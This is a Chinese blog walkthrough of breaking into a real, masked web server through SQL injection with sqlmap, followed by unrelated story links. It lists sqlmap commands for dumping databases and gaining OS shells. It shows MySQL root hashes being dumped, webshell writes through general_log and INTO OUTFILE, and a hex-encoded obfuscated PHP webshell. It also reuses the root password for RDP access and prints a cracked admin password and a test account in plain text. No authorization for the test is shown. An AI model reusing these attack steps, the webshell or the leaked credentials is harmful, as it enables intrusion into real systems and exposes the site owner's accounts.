使用sqlmap曲折渗透某服务器

1.使用sqlmap曲折渗透某服务器

     

在实际渗透测试过程中,当发现目标站点存在SQL注入漏洞,一般都是交给sqlmap等工具来自动处理,证明其存在SQL注入漏洞以及获取数据库;如果当前网站使用的数据库用户为root账号,则还可以尝试获取Webshell和提权。在一般情况下,如果发现是root账号,则90%以上机会可以获取webshell,且极有可能获得服务器权限。本次渗透过程碰到一种特殊情况:

(1)Php网站存在SQL注入漏洞。

(2)网站使用的用户是Root账号

(3)知道web网站真实物理路径

无法写入Webshell,无法直接udf提权!尝试了sqlmap有关MySQL数据库渗透的一些技术,虽然技术上未能获取webshell,但最后结合社工,成功获取了服务器权限,对特定服务器的渗透具有借鉴意义。

1.1使用sqlmap渗透常规思路

1.获取信息

通过“sqlmap -u url”命令对注入点进行漏洞确认,然后依次进行以下命令,来获取数据库信息:

(1)列数据库信息:--dbs

(2)web当前使用的数据库--current-db

(3)web数据库使用账户--current-user

(4)列出数据库所有用户--users

(5)数据库账户与密码--passwords

(6)指定库名列出所有表-D databasename--tables

(7)指定库名表名列出所有字段-D antian365 -T admin --columns

(8)指定库名表名字段dump出指定字段

-D secbang_com -T admin -Cid,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

2.有root权限的情况下可以系统访问权限尝试

--os-cmd=OSCMD//执行操作系统命令

--os-shell //反弹一个osshell

--os-pwn //pwn,反弹msf下的shell或者vnc

--os-smbrelay //反弹msf下的shell或者vnc

--os-bof //存储过程缓存溢出

--priv-esc //数据库提权

3.通过查看管理员表,来获取管理员账号和密码,对加密账号还需要进行破解。

4.寻找后台地址并登录。

5.通过后台寻找上传漏洞,或者其它漏洞来尝试获取webshell权限。

1.2使用sqlmap进行全自动获取

再确认漏洞后,可以使用“sqlmap -u

url --smart --batch -a”自动进行注入,自动填写判断,获取数据库所有信息,包括dump所有数据库的内容。切记对大数据库尤其谨慎,不能用该命令,否则会获取大量数据记录,原因您懂的。在本例中测试了该方法,可以直接获取该SQL注入漏洞所在站点的所有数据库,获取数据不是本次讨论的主要目的。

1.3直接提权失败

根据前面的介绍,直接使用“--os-cmd=whoami”命令来尝试是否可以直接执行命令,如图1所示,执行命令后,需要选择网站脚本语言,本次测试是php,所以选择“4”,在选择路径中选择“2”,自定义路径,输入“D:/EmpireServer/web”后未能直接执行命令。

图1无法执行命令

在尝试无法直接执行命令后,后面继续测试“--os-shell”也失败的情况下,尝试去分析sqlmap的源代码,尝试能否直接加入已经获取的网站路径地址,来获取权限。通过分析代码未能找到其相关配置文件,无奈之下继续进行后面的测试。

1.4使用sqlmap获取sql-shell权限

1.通过sqlmap对SQL注入点加参数“--sql-shell”命令来直接获取数据库shell:

sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 --sql-shell

执行后如图2所示,获取操作系统版本,web应用程序类型等信息:

web server operating system: Windows //操作系统为windows

web application technology: Apache 2.2.4, PHP 5.2.0//Apache服务器,php

back-end DBMS: MySQL 5//MySQL数据库大于5.0版本

图2尝试获取sql-shell

2.查询数据库密码

在sql-shell中执行数据库查询命令select

host,user,password from mysql.user,尝试能否获取所有的数据库用户和密码,在获取信息过程需要选择获取多少信息,选择All则表示所有,其它数字则表示获取条数,一般输入“a”即可。如图3所示,成功获取当前数据库root账号和密码等信息。如果host值是“%”,则可以通过远程连接进行管理。

sql-shell>select host,user,password from mysql.user

[20:54:57][INFO] fetching SQL SELECT statement query output: 'select host,user,passwordfrom mysql.user'

selecthost,user,password from mysql.user [2]:

[*]localhost, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

[*]127.0.0.1, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

图3查询mysql数据库用户信息

3.尝试获取目录信息

使用查询命令“select

@@datadir”命令来获取数据库数据保存的位置,如图4所示,获取其数据库保存位置为“D:\EmpireServer\php\mysql5\Data\”,看到这个信息,使用百度对关键字“EmpireServer”进行搜索。获取一个EmpireServer的关键安装信息:

(1)将压缩的帝国软件放到D盘,解压到当前文件夹

(2)执行D:\EmpireServer一键安装命令

(3)在web文件夹里新建自己文件夹如zb,把web中所有目录考到zb中

(4)删除/e/install/install.off文件!

(5)在浏览器中运行http://localhost/zb/e/install/重新安装

(6)数据库用户名root密码为空、其余用户名、密码为admin

(7)登陆前台首页http://localhost/zb,登陆后台http://localhost/zb/e/admin

(8)数据库所在路径D:\EmpireServer\php\mysql5\data

(9)保存网站:保存自己建立的文件夹目录,例如:D:\EmpireServer\web\zb的zb目录和数据库目录,例如:D:\EmpireServer\php\mysql5\data\zb的zb目录。


图4获取数据库数据保存目录

4.读取文件

通过上一步的分析,猜测网站可能使用web等关键字来做为网站目录使用,因此尝试使用:select load_file(‘D:/EmpireServer/web/index.php’)来读取index.php文件的内容,如图5所示,成功读取!在使用load_file函数进行读取文件时,一定要进行“D:\EmpireServer\web”符号的转换,也即将“\”换成“/”,否则无法读取,在读取文件中可以看到inc/getcon.php、inc/function.php等文件包含。

图5读取首页文件内容

(5)获取root账号密码

执行查询命令select load_file(‘D:/EmpireServer/web/inc/getcon.php’),如图6所示,成功获取数据库配置文件getcon.php的内容,在其配置信息中包含了root账号和密码:

rootnet***.com*** (

图6获取root账号及密码

1.5尝试获取webshell以及提权

1.尝试能否更改数据库内容,如图7所示执行更新MySQL命令:

updatemysql.user set mysql.host='%'wheremysql.user='127.0.0.1';


图7执行更新数据库表命令

经过实际测试,通过sql-shell参数可以很方便的进行查询,执行update命令没有成功,后续还进行了一系列的update命令测试,结果没有成功就放弃直接更换host为“%”的思路。也曾经想直接添加一个账号和远程授权,通过sqlmap以及手工均未成功!

CREATEUSER newuser@'%'IDENTIFIED BY '123456';

grantall privileges on *.* to newuser@'%' identified by"123456" with grant option;

FLUSHPRIVILEGES;

(2)尝试利用sqlmap的--os-pwn命令

使用“--os-shell”输入前面获取的真实物理路径“D:/EmpireServer/web”未能获取可以执行命令的shell,后续,执行“--os-pwn”则提示需要安装pywin32,如图8所示,在本地下载安装后,还是不成功。pywin32下载地址:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win-amd64-py2.7.exe/download

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/


图8执行“--os-pwn”命令

(3)尝试利用sqlmap的sql-query命令

执行sqlmap.py -u http://**.**.**.***/newslist.php?id=2

--sql-query=" select host ,user,password from mysql.user”其效果跟前面的sql-shell类似,执行update命令仍然不行。

1.6尝试写入文件

1.直接sql-query写入文件

MySQL root账号提权条件:

(1)网站必须是root权限(已经满足)

(2)攻击者需要知道网站的绝对路径(已经满足)

(3)GPC为off,php主动转义的功能关闭(已经满足)

虽然条件满足,实际测试情况确实查询后无结果。

2.general_log_file获取webshell测试

(1)查看genera文件配置情况

showglobal variables like "%genera%";

(2)关闭general_log

setglobal general_log=off;

(3)通过general_log选项来获取webshell

setglobal general_log='on';

SETglobal general_log_file='D:/EmpireServer/web/cmd.php';

(4)执行查询

SELECT'';

结果仍然未获取webshell。

3.更换路径

怀疑是文件写入权限,后续访问网站获取某一个图片的地址后,更换地址后进行查询:

select'' INTO OUTFILE 'D:/EmpireServer/web/uploadfile/image/20160407/23.php';

访问webshell地址:

http://**.**.**.***/uploadfile/image/20160407/23.php

测试结果还是不行,如图9所示。


图9更换路径查询导出文件

4.使用加密webshell写入

执行加密webshell查询,查询成功,但访问实际页面不成功。

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')into dumpfile 'D:/EmpireServer/web/22.php'

1.7社工账号登录服务器

1.登录远程桌面

后面灵机一动,使用root获取的账号直接登录该3389,也即社工攻击,如图10所示成功登录服务器。



图10成功登录服务器

2.发现后台地址ls1010_admin

登录服务器后,发现网站不是采用模版安装的,而是在此基础上进行二次开发,且更换了后台管理地址为“ls1010_admin”。管理员密码:51623986534b8fd8bfd88cdb8b9e2181破解后密码为wanxin170104,使用该密码成功登录后台,如图11所示。在该后台中还发现一个用户名称bcitb,密码为bcitb1010。

技巧:分享一个免费的md5查询网站:https://www.somd5.com/


图11成功登录后台

1.8总结与防御

1.本次渗透测试使用了sqlmap中所有有关mysql渗透到模块,特别是系统访问层面的,例如--os-smbrelay,该模块在kali下使用,有时候可能会有奇效,如果存在漏洞将会直接反弹一个msf的shell。

2.本次通过猜测后台基本上是无解的,可以看出网站应该是刻意更改网站后台地址,让攻击者无法轻易获取后台地址,但其后台中还存在开发人员留下的测试账号,可能导致系统安全隐患。

3.网站在安全方面应该进行了一些简单加固,但SQL注入漏洞的存在使这些设置基本无用。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,064评论 5 466
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,606评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,011评论 0 328
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,550评论 1 269
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,465评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 47,919评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,428评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,075评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,208评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,185评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,191评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,914评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,482评论 3 302
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,585评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,825评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,194评论 2 344
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,703评论 2 339

推荐阅读更多精彩内容